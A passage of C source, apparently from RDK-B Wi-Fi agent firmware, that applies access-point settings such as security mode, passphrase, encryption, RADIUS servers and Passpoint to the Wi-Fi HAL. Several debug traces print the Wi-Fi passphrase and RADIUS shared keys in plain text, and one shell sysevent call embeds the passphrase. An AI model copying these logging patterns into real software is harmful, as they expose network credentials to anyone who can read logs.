retval = wifi_setApMaxAssociatedDevices(wlan_index, vap_cfg->u.bss_info.bssMaxSta);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to Isolation enable for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_setApMaxAssociatedDevices failed";
}
curr_cfg->u.bss_info.bssMaxSta = vap_cfg->u.bss_info.bssMaxSta;
CcspTraceInfo(("%s: Max station value applied for wlan index: %d\n",
__FUNCTION__, wlan_index));
} else {
CcspTraceError(("%s: Neighbor report cannot be applied when vap is disabled\n",__FUNCTION__));
}
}
#if !defined(_HUB4_PRODUCT_REQ_)
#if defined(ENABLE_FEATURE_MESHWIFI) || defined(_CBR_PRODUCT_REQ_) || defined(_COSA_BCM_MIPS_) || defined(HUB4_WLDM_SUPPORT)
if (vap_cfg->u.bss_info.nbrReportActivated != curr_cfg->u.bss_info.nbrReportActivated) {
if (vap_cfg->u.bss_info.enabled == TRUE) {
retval = wifi_setNeighborReportActivation(wlan_index, vap_cfg->u.bss_info.nbrReportActivated);
if (retval != RETURN_OK) { // RDKB-34744 - Issue due to hal return status
CcspTraceError(("%s: Failed to set neighbor report for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_setNeighborReportActivation failed";
}
curr_cfg->u.bss_info.nbrReportActivated = vap_cfg->u.bss_info.nbrReportActivated;
CcspTraceInfo(("%s: Neighbor report activation applied for wlan index: %d\n",
__FUNCTION__, wlan_index));
} else {
CcspTraceError(("%s: Neighboreport cannot be applied when vap is disabled\n",__FUNCTION__));
}
}
#endif
#endif
if (vap_cfg->u.bss_info.vapStatsEnable != curr_cfg->u.bss_info.vapStatsEnable) {
if (vap_cfg->u.bss_info.enabled == TRUE) {
retval = wifi_stats_flag_change(wlan_index, vap_cfg->u.bss_info.vapStatsEnable, 1);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set wifi stats flag for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_stats_flag_change failed";
}
curr_cfg->u.bss_info.vapStatsEnable = vap_cfg->u.bss_info.vapStatsEnable;
CcspTraceInfo(("%s: vap stats enable applied for wlan index: %d\n",
__FUNCTION__, wlan_index));
} else {
CcspTraceError(("%s: Vapstats enable cannot be applied when vap is disabled\n",__FUNCTION__));
}
}
if (vap_cfg->u.bss_info.bssTransitionActivated != curr_cfg->u.bss_info.bssTransitionActivated) {
if (vap_cfg->u.bss_info.enabled == TRUE) {
if (gbsstrans_support[wlan_index] || gwirelessmgmt_support[wlan_index]) {
#if !defined(_HUB4_PRODUCT_REQ_) || defined(HUB4_WLDM_SUPPORT)
if(vap_cfg->u.bss_info.security.mode != (wifi_security_modes_t)COSA_DML_WIFI_SECURITY_None) {
retval = wifi_setBSSTransitionActivation(wlan_index, vap_cfg->u.bss_info.bssTransitionActivated);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set BssTransition for wlan %d\n",__FUNCTION__, wlan_index));
return "wifi_setBSSTransitionActivation failed";
}
CcspTraceInfo(("%s: Bss Transition activation applied for wlan index: %d\n",
__FUNCTION__, wlan_index));
}
#endif
curr_cfg->u.bss_info.bssTransitionActivated = vap_cfg->u.bss_info.bssTransitionActivated;
} else {
CcspTraceError(("%s: Bss transition not supported for wlan index: %d\n",
__FUNCTION__, wlan_index));
}
} else {
CcspTraceError(("%s: Bss transition cannot be applied when vap is disabled\n",__FUNCTION__));
}
}
if (vap_cfg->u.bss_info.mgmtPowerControl != curr_cfg->u.bss_info.mgmtPowerControl) {
if (vap_cfg->u.bss_info.enabled == TRUE) {
retval = wifi_setApManagementFramePowerControl(wlan_index, vap_cfg->u.bss_info.mgmtPowerControl);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set Management power control for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_setApManagementFramePowerControl failed";
}
curr_cfg->u.bss_info.mgmtPowerControl = vap_cfg->u.bss_info.mgmtPowerControl;
CcspTraceInfo(("%s: Management frame power applied for wlan index: %d\n",
__FUNCTION__, wlan_index));
} else {
CcspTraceError(("%s: Frame power control cannot be applied when vap is disabled\n",__FUNCTION__));
}
}
#if defined(WIFI_HAL_VERSION_3)
if (vap_cfg->u.bss_info.security.mfp != curr_cfg->u.bss_info.security.mfp)
{
curr_cfg->u.bss_info.security.mfp = vap_cfg->u.bss_info.security.mfp;
}
#else
if (0 != strcmp(vap_cfg->u.bss_info.security.mfpConfig, curr_cfg->u.bss_info.security.mfpConfig)) {
if (vap_cfg->u.bss_info.enabled == TRUE) {
retval = wifi_setApSecurityMFPConfig(wlan_index,vap_cfg->u.bss_info.security.mfpConfig);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set MFP Config for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_setApSecurityMFPConfig failed";
}
int rc = -1;
rc = strcpy_s(curr_cfg->u.bss_info.security.mfpConfig, sizeof(curr_cfg->u.bss_info.security.mfpConfig), vap_cfg->u.bss_info.security.mfpConfig);
if (rc != 0) {
ERR_CHK(rc);
return "strcpy_s failed to copy mfpConfig";
}
CcspTraceInfo(("%s: MFP Config applied for wlan index: %d\n",
__FUNCTION__, wlan_index));
} else {
CcspTraceError(("%s: MFP Config cannot be applied when vap is disabled\n",__FUNCTION__));
}
}
#endif
return NULL;
#endif //WIFI_HAL_VERSION_3
}
char *wifi_apply_security_config(wifi_vap_info_t *vap_cfg, wifi_vap_info_t *curr_cfg,BOOL is_vap_enabled)
{
#ifdef WIFI_HAL_VERSION_3
//Here we populate the structure curr_cfg , since we will can createVAP API to apply the settings
BOOLEAN bForceDisableFlag = FALSE;
uint8_t wlan_index = curr_cfg->vap_index;
if(ANSC_STATUS_FAILURE == CosaDmlWiFiGetCurrForceDisableWiFiRadio(&bForceDisableFlag))
{
CcspTraceError(("%s Failed to fetch ForceDisableWiFiRadio flag!!!\n",__FUNCTION__));
return "Dml fetch failed";
}
if (vap_cfg->u.bss_info.security.mode != curr_cfg->u.bss_info.security.mode)
{
if (vap_cfg->u.bss_info.enabled == TRUE)
{
curr_cfg->u.bss_info.security.mode = vap_cfg->u.bss_info.security.mode;
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d Updated SecurityMode : %d\n", __FUNCTION__, wlan_index, curr_cfg->u.bss_info.security.mode);
}
else
{
CcspTraceError(("%s: Security Mode cannot be changed when vap is disabled\n",__FUNCTION__));
}
}
if ((vap_cfg->u.bss_info.security.mode >= wifi_security_mode_wpa_personal) &&
(vap_cfg->u.bss_info.security.mode <= wifi_security_mode_wpa3_enterprise) &&
(strcmp(vap_cfg->u.bss_info.security.u.key.key,curr_cfg->u.bss_info.security.u.key.key) != 0) &&
(!bForceDisableFlag))
{
if (vap_cfg->u.bss_info.enabled == TRUE)
{
strncpy(curr_cfg->u.bss_info.security.u.key.key,vap_cfg->u.bss_info.security.u.key.key,
sizeof(curr_cfg->u.bss_info.security.u.key.key)-1);
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d Updated SecurityKey : %s\n", __FUNCTION__, wlan_index, curr_cfg->u.bss_info.security.u.key.key);
if (isVapPrivate(wlan_index))
{
PASSPHRASE_UPDATED[getRadioIndexFromAp(wlan_index)] = TRUE;
}
}
else
{
CcspTraceError(("%s:Passphrase cannot be changed when vap is disabled \n", __FUNCTION__));
}
}
else if (bForceDisableFlag == TRUE)
{
CcspWifiTrace(("RDK_LOG_WARN, WIFI_ATTEMPT_TO_CHANGE_CONFIG_WHEN_FORCE_DISABLED \n"));
}
if ((vap_cfg->u.bss_info.security.encr != curr_cfg->u.bss_info.security.encr) &&
(vap_cfg->u.bss_info.security.mode >= (wifi_security_modes_t)COSA_DML_WIFI_SECURITY_WPA_Personal) &&
(vap_cfg->u.bss_info.security.mode <= (wifi_security_modes_t)COSA_DML_WIFI_SECURITY_WPA_WPA2_Enterprise))
{
if (vap_cfg->u.bss_info.enabled == TRUE)
{
curr_cfg->u.bss_info.security.encr = vap_cfg->u.bss_info.security.encr;
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d Updated Encryption : %d\n", __FUNCTION__, wlan_index, curr_cfg->u.bss_info.security.encr);
curr_cfg->u.bss_info.sec_changed = true;
}
else
{
CcspTraceError(("%s:Encryption mode cannot changed when vap is disabled \n", __FUNCTION__));
}
}
if ((strcmp(vap_cfg->vap_name,"hotspot_secure_2g") == 0 || strcmp(vap_cfg->vap_name,"hotspot_secure_5g") == 0) &&
((strcmp((const char *)vap_cfg->u.bss_info.security.u.radius.ip, (const char *)curr_cfg->u.bss_info.security.u.radius.ip) != 0 ||
vap_cfg->u.bss_info.security.u.radius.port != curr_cfg->u.bss_info.security.u.radius.port ||
strcmp(vap_cfg->u.bss_info.security.u.radius.key, curr_cfg->u.bss_info.security.u.radius.key) != 0) || (is_vap_enabled)))
{
strncpy((char*)curr_cfg->u.bss_info.security.u.radius.ip,(char*) vap_cfg->u.bss_info.security.u.radius.ip,
sizeof(curr_cfg->u.bss_info.security.u.radius.ip)-1);
strncpy(curr_cfg->u.bss_info.security.u.radius.key, vap_cfg->u.bss_info.security.u.radius.key,
sizeof(curr_cfg->u.bss_info.security.u.radius.key)-1);
curr_cfg->u.bss_info.security.u.radius.port = vap_cfg->u.bss_info.security.u.radius.port;
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d Updated ip : %s key : %s port : %d\n", __FUNCTION__, wlan_index, curr_cfg->u.bss_info.security.u.radius.ip,
curr_cfg->u.bss_info.security.u.radius.key, curr_cfg->u.bss_info.security.u.radius.port);
}
if ((strcmp(vap_cfg->vap_name,"hotspot_secure_2g") == 0 || strcmp(vap_cfg->vap_name,"hotspot_secure_5g") == 0) &&
((strcmp((const char *)vap_cfg->u.bss_info.security.u.radius.s_ip, (const char *)curr_cfg->u.bss_info.security.u.radius.s_ip) != 0 ||
vap_cfg->u.bss_info.security.u.radius.s_port != curr_cfg->u.bss_info.security.u.radius.s_port ||
strcmp(vap_cfg->u.bss_info.security.u.radius.s_key, curr_cfg->u.bss_info.security.u.radius.s_key) != 0) || (is_vap_enabled)))
{
strncpy((char*)curr_cfg->u.bss_info.security.u.radius.s_ip, (char*)vap_cfg->u.bss_info.security.u.radius.s_ip,
sizeof(curr_cfg->u.bss_info.security.u.radius.s_ip)-1);
strncpy(curr_cfg->u.bss_info.security.u.radius.s_key, vap_cfg->u.bss_info.security.u.radius.s_key,
sizeof(curr_cfg->u.bss_info.security.u.radius.s_key)-1);
curr_cfg->u.bss_info.security.u.radius.s_port = vap_cfg->u.bss_info.security.u.radius.s_port;
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d Updated s_ip : %s s_key : %s s_port : %d\n", __FUNCTION__, wlan_index, curr_cfg->u.bss_info.security.u.radius.s_ip,
curr_cfg->u.bss_info.security.u.radius.s_key, curr_cfg->u.bss_info.security.u.radius.s_port);
}
if (vap_cfg->u.bss_info.security.mfp != curr_cfg->u.bss_info.security.mfp)
{
curr_cfg->u.bss_info.security.mfp = vap_cfg->u.bss_info.security.mfp;
ccspWifiDbgPrint(CCSP_WIFI_TRACE, "%s wlanIndex : %d mfp : %d\n",__FUNCTION__, wlan_index, curr_cfg->u.bss_info.security.mfp);
}
if ( (vap_cfg->u.bss_info.security.mode == wifi_security_mode_wpa3_transition) &&
(vap_cfg->u.bss_info.security.wpa3_transition_disable != curr_cfg->u.bss_info.security.wpa3_transition_disable) )
{
curr_cfg->u.bss_info.security.wpa3_transition_disable = vap_cfg->u.bss_info.security.wpa3_transition_disable;
}
return NULL;
#else //WIFI_HAL_VERSION_3
int retval = RETURN_ERR;
BOOLEAN bForceDisableFlag = FALSE;
uint8_t wlan_index = vap_cfg->vap_index;
char mode[32] = {0};
char securityType[32] = {0};
char authMode[32] = {0};
char method[32] = {0};
char encryption[32] = {0};
if(ANSC_STATUS_FAILURE == CosaDmlWiFiGetCurrForceDisableWiFiRadio(&bForceDisableFlag))
{
CcspTraceError(("%s Failed to fetch ForceDisableWiFiRadio flag!!!\n",__FUNCTION__));
return "Dml fetch failed";
}
webconf_auth_mode_to_str(mode, vap_cfg->u.bss_info.security.mode);
/* Copy hal specific strings for respective Authentication Mode */
if (strcmp(mode, "None") == 0 ) {
strcpy(securityType,"None");
strcpy(authMode,"None");
}
#ifndef _XB6_PRODUCT_REQ_
else if (strcmp(mode, "WEP-64") == 0 || strcmp(mode, "WEP-128") == 0) {
strcpy(securityType, "Basic");
strcpy(authMode,"None");
}
else if (strcmp(mode, "WPA-Personal") == 0) {
strcpy(securityType,"WPA");
strcpy(authMode,"PSKAuthentication");
} else if (strcmp(mode, "WPA2-Personal") == 0) {
strcpy(securityType,"11i");
strcpy(authMode,"PSKAuthentication");
} else if (strcmp(mode, "WPA-Enterprise") == 0) {
} else if (strcmp(mode, "WPA-WPA2-Personal") == 0) {
strcpy(securityType,"WPAand11i");
strcpy(authMode,"PSKAuthentication");
}
#else
else if ((strcmp(mode, "WPA2-Personal") == 0)) {
strcpy(securityType,"11i");
strcpy(authMode,"SharedAuthentication");
}
#endif
else if (strcmp(mode, "WPA2-Enterprise") == 0) {
strcpy(securityType,"11i");
strcpy(authMode,"EAPAuthentication");
} else if (strcmp(mode, "WPA-WPA2-Enterprise") == 0) {
strcpy(securityType,"WPAand11i");
strcpy(authMode,"EAPAuthentication");
}
webconf_enc_mode_to_str(encryption,vap_cfg->u.bss_info.security.encr);
if ((strcmp(encryption, "TKIP") == 0)) {
strcpy(method,"TKIPEncryption");
} else if ((strcmp(encryption, "AES") == 0)) {
strcpy(method,"AESEncryption");
}
#ifndef _XB6_PRODUCT_REQ_
else if ((strcmp(encryption, "AES+TKIP") == 0)) {
strcpy(method,"TKIPandAESEncryption");
}
#endif
/* Apply Security Values to hal */
if (vap_cfg->u.bss_info.security.mode != curr_cfg->u.bss_info.security.mode) {
if (vap_cfg->u.bss_info.enabled == TRUE) {
retval = wifi_setApBeaconType(wlan_index, securityType);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set AP Beacon type\n", __FUNCTION__));
return "wifi_setApBeaconType failed";
}
CcspWifiTrace(("RDK_LOG_WARN,%s calling setBasicAuthenticationMode ssid : %d authmode : %s \n",
__FUNCTION__,wlan_index, mode));
retval = wifi_setApBasicAuthenticationMode(wlan_index, authMode);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set AP Authentication Mode\n", __FUNCTION__));
return "wifi_setApBasicAuthenticationMode failed";
}
if ((curr_cfg->u.bss_info.security.mode == wifi_security_mode_none) &&
(vap_cfg->u.bss_info.security.mode >= wifi_security_mode_wpa_personal) &&
(vap_cfg->u.bss_info.security.mode <= wifi_security_mode_wpa_wpa2_personal)) {
retval = wifi_setApSecurityKeyPassphrase(wlan_index, vap_cfg->u.bss_info.security.u.key.key);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set AP Security Passphrase\n", __FUNCTION__));
return "wifi_setApSecurityKeyPassphrase failed";
}
wifi_setApSecurityPreSharedKey(wlan_index, vap_cfg->u.bss_info.security.u.key.key);
}
curr_cfg->u.bss_info.security.mode = vap_cfg->u.bss_info.security.mode;
vap_cfg->u.bss_info.sec_changed = true;
gHostapd_restart_reqd = true;
CcspWifiEventTrace(("RDK_LOG_NOTICE, Wifi security mode %s is Enabled", mode));
CcspWifiTrace(("RDK_LOG_WARN,RDKB_WIFI_CONFIG_CHANGED : Wifi security mode %s is Enabled\n",mode));
CcspTraceInfo(("%s: Security Mode Change Applied for wlan index %d\n", __FUNCTION__,wlan_index));
} else {
CcspTraceError(("%s: Security Mode cannot be changed when vap is disabled\n",__FUNCTION__));
}
}
if ((vap_cfg->u.bss_info.security.mode >= wifi_security_mode_wpa_personal) &&
(vap_cfg->u.bss_info.security.mode <= wifi_security_mode_wpa3_transition) &&
(strcmp(vap_cfg->u.bss_info.security.u.key.key,curr_cfg->u.bss_info.security.u.key.key) != 0) &&
(!bForceDisableFlag)) {
if (vap_cfg->u.bss_info.enabled == TRUE) {
CcspTraceInfo(("KeyPassphrase changed for index = %d\n",wlan_index));
retval = wifi_setApSecurityKeyPassphrase(wlan_index, vap_cfg->u.bss_info.security.u.key.key);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set AP Security Passphrase\n", __FUNCTION__));
return "wifi_setApSecurityKeyPassphrase failed";
}
wifi_setApSecurityPreSharedKey(wlan_index, vap_cfg->u.bss_info.security.u.key.key);
strncpy(curr_cfg->u.bss_info.security.u.key.key,vap_cfg->u.bss_info.security.u.key.key,
sizeof(curr_cfg->u.bss_info.security.u.key.key)-1);
gHostapd_restart_reqd = true;
vap_cfg->u.bss_info.sec_changed = true;
#ifdef WIFI_HAL_VERSION_3
if (isVapPrivate(wlan_index))
{
PASSPHRASE_UPDATED[getRadioIndexFromAp(wlan_index)] = TRUE;
}
#else
if (wlan_index == 0) {
PASSPHRASE1_UPDATED = TRUE;
} else if (wlan_index == 1) {
PASSPHRASE2_UPDATED = TRUE;
}
#endif
CcspWifiEventTrace(("RDK_LOG_NOTICE, KeyPassphrase changed \n "));
CcspWifiTrace(("RDK_LOG_WARN, KeyPassphrase changed \n "));
CcspWifiTrace(("RDK_LOG_WARN, RDKB_WIFI_CONFIG_CHANGED : %s KeyPassphrase changed for index = %d\n",
__FUNCTION__, wlan_index));
CcspTraceInfo(("%s: Passpharse change applied for wlan index %d\n", __FUNCTION__, wlan_index));
} else {
CcspTraceError(("%s:Passphrase cannot be changed when vap is disabled \n", __FUNCTION__));
}
} else if (bForceDisableFlag == TRUE) {
CcspWifiTrace(("RDK_LOG_WARN, WIFI_ATTEMPT_TO_CHANGE_CONFIG_WHEN_FORCE_DISABLED \n"));
}
if ((vap_cfg->u.bss_info.security.encr != curr_cfg->u.bss_info.security.encr) &&
(vap_cfg->u.bss_info.security.mode >= (wifi_security_modes_t)COSA_DML_WIFI_SECURITY_WPA_Personal) &&
(vap_cfg->u.bss_info.security.mode <= (wifi_security_modes_t)COSA_DML_WIFI_SECURITY_WPA3_Enterprise)) {
if (vap_cfg->u.bss_info.enabled == TRUE) {
CcspWifiTrace(("RDK_LOG_WARN, RDKB_WIFI_CONFIG_CHANGED :%s Encryption method changed , "
"calling setWpaEncryptionMode Index : %d mode : %s \n",
__FUNCTION__,wlan_index, encryption));
retval = wifi_setApWpaEncryptionMode(wlan_index, method);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set WPA Encryption Mode\n", __FUNCTION__));
return "wifi_setApWpaEncryptionMode failed";
}
curr_cfg->u.bss_info.security.encr = vap_cfg->u.bss_info.security.encr;
vap_cfg->u.bss_info.sec_changed = true;
gHostapd_restart_reqd = true;
CcspTraceInfo(("%s: Encryption mode change applied for wlan index %d\n",
__FUNCTION__, wlan_index));
} else {
CcspTraceError(("%s:Encryption mode cannot changed when vap is disabled \n", __FUNCTION__));
}
}
if (vap_cfg->u.bss_info.sec_changed) {
CcspWifiTrace(("RDK_LOG_INFO,WIFI %s : Notify Mesh of Security changes\n",__FUNCTION__));
v_secure_system("/usr/bin/sysevent set wifi_ApSecurity \"RDK|%d|%s|%s|%s\"",
wlan_index, vap_cfg->u.bss_info.security.u.key.key, authMode, method);
}
if ((strcmp(vap_cfg->vap_name,"hotspot_secure_2g") == 0 || strcmp(vap_cfg->vap_name,"hotspot_secure_5g") == 0) &&
((strcmp((const char *)vap_cfg->u.bss_info.security.u.radius.ip, (const char *)curr_cfg->u.bss_info.security.u.radius.ip) != 0 ||
vap_cfg->u.bss_info.security.u.radius.port != curr_cfg->u.bss_info.security.u.radius.port ||
strcmp(vap_cfg->u.bss_info.security.u.radius.key, curr_cfg->u.bss_info.security.u.radius.key) != 0) || (is_vap_enabled))) {
if (vap_cfg->u.bss_info.enabled == TRUE) {
retval = wifi_setApSecurityRadiusServer(wlan_index, (char *)vap_cfg->u.bss_info.security.u.radius.ip,
vap_cfg->u.bss_info.security.u.radius.port, vap_cfg->u.bss_info.security.u.radius.key);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to apply Radius server configs for wlan %d\n",__FUNCTION__, wlan_index));
return "Failed to apply Radius Config";
}
}
strncpy((char*)curr_cfg->u.bss_info.security.u.radius.ip,(char*) vap_cfg->u.bss_info.security.u.radius.ip,
sizeof(curr_cfg->u.bss_info.security.u.radius.ip)-1);
strncpy(curr_cfg->u.bss_info.security.u.radius.key, vap_cfg->u.bss_info.security.u.radius.key,
sizeof(curr_cfg->u.bss_info.security.u.radius.key)-1);
curr_cfg->u.bss_info.security.u.radius.port = vap_cfg->u.bss_info.security.u.radius.port;
CcspTraceInfo(("%s: Radius Configs applied for wlan index %d\n", __FUNCTION__, wlan_index));
}
if ((strcmp(vap_cfg->vap_name,"hotspot_secure_2g") == 0 || strcmp(vap_cfg->vap_name,"hotspot_secure_5g") == 0) &&
((strcmp((const char *)vap_cfg->u.bss_info.security.u.radius.s_ip, (const char *)curr_cfg->u.bss_info.security.u.radius.s_ip) != 0 ||
vap_cfg->u.bss_info.security.u.radius.s_port != curr_cfg->u.bss_info.security.u.radius.s_port ||
strcmp(vap_cfg->u.bss_info.security.u.radius.s_key, curr_cfg->u.bss_info.security.u.radius.s_key) != 0) || (is_vap_enabled))) {
if (vap_cfg->u.bss_info.enabled == TRUE) {
retval = wifi_setApSecuritySecondaryRadiusServer(wlan_index, (char *)vap_cfg->u.bss_info.security.u.radius.s_ip,
vap_cfg->u.bss_info.security.u.radius.s_port, vap_cfg->u.bss_info.security.u.radius.s_key);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to apply Secondary Radius server configs for wlan %d retval %d\n",
__FUNCTION__, wlan_index,retval));
#if !defined(_CBR_PRODUCT_REQ_) /*TCCBR-5627 By default this api is giving error in cbr. This will be removed once ticket is fixed */
/*return "wifi_setApSecuritySecondaryRadiusServer failed";*/
#endif
}
}
strncpy((char*)curr_cfg->u.bss_info.security.u.radius.s_ip, (char*)vap_cfg->u.bss_info.security.u.radius.s_ip,
sizeof(curr_cfg->u.bss_info.security.u.radius.s_ip)-1);
strncpy(curr_cfg->u.bss_info.security.u.radius.s_key, vap_cfg->u.bss_info.security.u.radius.s_key,
sizeof(curr_cfg->u.bss_info.security.u.radius.s_key)-1);
curr_cfg->u.bss_info.security.u.radius.s_port = vap_cfg->u.bss_info.security.u.radius.s_port;
CcspTraceInfo(("%s: Secondary Radius Configs applied for wlan index %d\n", __FUNCTION__, wlan_index));
}
#if (!defined(_XB6_PRODUCT_REQ_) || defined (_XB7_PRODUCT_REQ_))
if ((vap_cfg->u.bss_info.sec_changed == true) && (vap_cfg->u.bss_info.enabled == TRUE)) {
BOOL enable_wps = FALSE;
retval = wifi_getApWpsEnable(wlan_index, &enable_wps);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to get Ap Wps Enable\n", __FUNCTION__));
return "wifi_getApWpsEnable failed";
}
retval = wifi_removeApSecVaribles(wlan_index);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to remove Ap Sec variables\n", __FUNCTION__));
return "wifi_removeApSecVaribles failed";
}
#if !defined(_XB7_PRODUCT_REQ_) && !defined(_XB8_PRODUCT_REQ_) && !defined(_CBR2_PRODUCT_REQ)
retval = wifi_disableApEncryption(wlan_index);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to disable AP Encryption\n",__FUNCTION__));
return "wifi_disableApEncryption failed";
}
#endif
if (vap_cfg->u.bss_info.security.mode == (wifi_security_modes_t)COSA_DML_WIFI_SECURITY_None) {
if (enable_wps == TRUE) {
retval = wifi_createHostApdConfig(wlan_index, TRUE);
}
}
else {
retval = wifi_createHostApdConfig(wlan_index, enable_wps);
}
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to create Host Apd Config\n",__FUNCTION__));
return "wifi_createHostApdConfig failed";
}
if (wifi_setApEnable(wlan_index, TRUE) != RETURN_OK) {
CcspTraceError(("%s: wifi_setApEnable failed index %d\n",__FUNCTION__,wlan_index));
}
CcspTraceInfo(("%s: Security changes applied for wlan index %d\n",
__FUNCTION__, wlan_index));
}
#endif /* #if (!defined(_XB6_PRODUCT_REQ_) || defined (_XB7_PRODUCT_REQ_)) */
vap_cfg->u.bss_info.sec_changed = false;
return NULL;
#endif //WIFI_HAL_VERSION_3
}
char *wifi_apply_interworking_config(wifi_vap_info_t *vap_cfg, wifi_vap_info_t *curr_cfg)
{
#if defined (FEATURE_SUPPORT_INTERWORKING) || defined (FEATURE_SUPPORT_PASSPOINT)
int retval = RETURN_ERR;
#endif
uint8_t wlan_index = vap_cfg->vap_index;
if (memcmp(&vap_cfg->u.bss_info.interworking.interworking,
&curr_cfg->u.bss_info.interworking.interworking,
sizeof(vap_cfg->u.bss_info.interworking.interworking)) != 0) {
if (!(vap_cfg->u.bss_info.enabled == FALSE &&
vap_cfg->u.bss_info.interworking.interworking.interworkingEnabled)) {
gHostapd_restart_reqd = true;
#if defined (FEATURE_SUPPORT_INTERWORKING)
retval = wifi_pushApInterworkingElement(wlan_index,&vap_cfg->u.bss_info.interworking.interworking);
if (retval != RETURN_OK && vap_cfg->u.bss_info.enabled == TRUE) {
CcspTraceError(("%s: Failed to push Interworking element to hal for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_pushApInterworkingElement failed";
}
#endif
memcpy(&curr_cfg->u.bss_info.interworking.interworking, &vap_cfg->u.bss_info.interworking.interworking,
sizeof(curr_cfg->u.bss_info.interworking.interworking));
CcspTraceInfo(("%s: Applied Interworking configuration successfully for wlan %d\n",
__FUNCTION__, wlan_index));
} else {
CcspTraceError(("%s: Interworking cannot be enabled. Vap %s is down \n",
__FUNCTION__, vap_cfg->vap_name));
}
}
#if defined (FEATURE_SUPPORT_PASSPOINT)
if ((strcmp(vap_cfg->vap_name,"hotspot_secure_2g") != 0) && (strcmp(vap_cfg->vap_name,"hotspot_secure_5g") != 0)) {
CcspTraceInfo(("%s: Passpoint settings not needed for Non Secure Hotspot vaps\n",__FUNCTION__));
return NULL;
}
if (memcmp(&vap_cfg->u.bss_info.interworking.roamingConsortium,
&curr_cfg->u.bss_info.interworking.roamingConsortium,
sizeof(vap_cfg->u.bss_info.interworking.roamingConsortium)) != 0) {
if ((vap_cfg->u.bss_info.interworking.interworking.interworkingEnabled == TRUE) &&
(vap_cfg->u.bss_info.enabled == TRUE)) {
retval = wifi_pushApRoamingConsortiumElement(wlan_index,
&vap_cfg->u.bss_info.interworking.roamingConsortium);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to push Roaming Consotrium to hal for wlan %d\n",
__FUNCTION__, wlan_index));
return "wifi_pushApRoamingConsortiumElement failed";
}
gHostapd_restart_reqd = true;
memcpy(&curr_cfg->u.bss_info.interworking.roamingConsortium,
&vap_cfg->u.bss_info.interworking.roamingConsortium,
sizeof(curr_cfg->u.bss_info.interworking.roamingConsortium));
CcspTraceInfo(("%s: Applied Roaming Consortium configuration successfully for wlan %d\n",
__FUNCTION__, wlan_index));
} else {
CcspTraceInfo(("%s: Cannot Configure Roaming Consortium for vap %d. Interworking is disabled\n",
__FUNCTION__, wlan_index));
}
}
if ((vap_cfg->u.bss_info.interworking.passpoint.enable != curr_cfg->u.bss_info.interworking.passpoint.enable) ||
(vap_cfg->u.bss_info.interworking.passpoint.gafDisable != curr_cfg->u.bss_info.interworking.passpoint.gafDisable) ||
(vap_cfg->u.bss_info.interworking.passpoint.p2pDisable != curr_cfg->u.bss_info.interworking.passpoint.p2pDisable) ||
(vap_cfg->u.bss_info.interworking.passpoint.l2tif != curr_cfg->u.bss_info.interworking.passpoint.l2tif)) {
if (!(vap_cfg->u.bss_info.interworking.passpoint.enable == TRUE &&
vap_cfg->u.bss_info.enabled != TRUE)) {
retval = enablePassPointSettings(wlan_index, vap_cfg->u.bss_info.interworking.passpoint.enable,
vap_cfg->u.bss_info.interworking.passpoint.gafDisable,
vap_cfg->u.bss_info.interworking.passpoint.p2pDisable,
vap_cfg->u.bss_info.interworking.passpoint.l2tif);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to push passpoint params to hal for wlan %d\n",
__FUNCTION__, wlan_index));
return "enablePassPointSettings failed";
}
gHostapd_restart_reqd = true;
curr_cfg->u.bss_info.interworking.passpoint.enable =
vap_cfg->u.bss_info.interworking.passpoint.enable;
curr_cfg->u.bss_info.interworking.passpoint.gafDisable =
vap_cfg->u.bss_info.interworking.passpoint.gafDisable;
curr_cfg->u.bss_info.interworking.passpoint.p2pDisable =
vap_cfg->u.bss_info.interworking.passpoint.p2pDisable;
curr_cfg->u.bss_info.interworking.passpoint.l2tif =
vap_cfg->u.bss_info.interworking.passpoint.l2tif;
CcspTraceInfo(("%s: Applied Passpoint configuration successfully for wlan %d\n",
__FUNCTION__, wlan_index));
} else {
CcspTraceError(("%s: Cannot enable Passpoint when vap %s is down",__FUNCTION__,vap_cfg->vap_name));
}
}
if (vap_cfg->u.bss_info.enabled == TRUE) {
memcpy(&curr_cfg->u.bss_info.interworking,
&vap_cfg->u.bss_info.interworking,
sizeof(curr_cfg->u.bss_info.interworking));
}
#endif
return NULL;
}
char *wifi_apply_common_config(wifi_config_t *wifi_cfg, wifi_config_t *curr_cfg)
{
#if defined (FEATURE_SUPPORT_PASSPOINT)
int retval;
if (memcmp(&wifi_cfg->gas_config, &curr_cfg->gas_config,
sizeof(wifi_cfg->gas_config)) != RETURN_OK) {
retval = wifi_setGASConfiguration(wifi_cfg->gas_config.AdvertisementID,&wifi_cfg->gas_config);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to update HAL with GAS Config\n",__FUNCTION__));
return "wifi_setGASConfiguration failed";
}
}
#else
UNREFERENCED_PARAMETER(wifi_cfg);
UNREFERENCED_PARAMETER(curr_cfg);
#endif
